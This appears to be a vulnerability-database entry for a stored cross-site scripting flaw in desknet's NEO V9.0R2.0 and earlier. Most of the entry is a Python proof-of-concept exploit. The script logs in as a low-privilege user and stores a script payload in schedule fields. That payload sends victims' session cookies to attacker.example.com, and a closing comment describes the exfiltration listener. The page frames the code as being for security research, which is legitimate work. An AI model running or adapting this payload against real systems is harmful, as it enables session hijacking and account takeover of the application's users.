Stored cross-site scripting (XSS) vulnerability in desknet's NEO V9.0R2.0 and earlier allow execution of arbitrary JavaScript in a user’s web browser.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
desknet's NEO <= V9.0R2.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54760 - Stored XSS PoC for desknet's NEO V9.0R2.0 and earlier
# Exploit: Inject malicious JavaScript into user-controllable input fields
# The payload will be stored on the server and executed when victims view the affected page
import requests
TARGET_URL = "https://target-desknets-neo.example.com"
LOGIN_URL = f"{TARGET_URL}/login"
SUBMIT_URL = f"{TARGET_URL}/schedule/edit" # Example endpoint accepting user input
# Step 1: Authenticate with low-privilege credentials
session = requests.Session()
login_payload = {
"username": "attacker_user",
"password": "attacker_password"
}
session.post(LOGIN_URL, data=login_payload)
# Step 2: Submit malicious JavaScript payload via a stored input field
# The application fails to sanitize HTML/JS in this input, storing it as-is
xss_payload = (
'"\'><img src=x onerror=alert(String.fromCharCode(88,83,83))>'
'<script>document.location="https://attacker.example.com/steal?c="+document.cookie</script>'
)
stored_payload = {
"title": xss_payload,
"description": xss_payload,
"content": xss_payload,
"schedule_date": "2025-12-31"
}
response = session.post(SUBMIT_URL, data=stored_payload)
if response.status_code == 200:
print("[+] Malicious payload stored successfully on the server.")
print("[+] When a victim views this schedule entry, the JavaScript will execute.")
else:
print(f"[-] Failed to store payload. Status code: {response.status_code}")
# Step 3: Exfiltration listener (on attacker.example.com) would receive:
# GET /steal?c=<victim_session_cookie>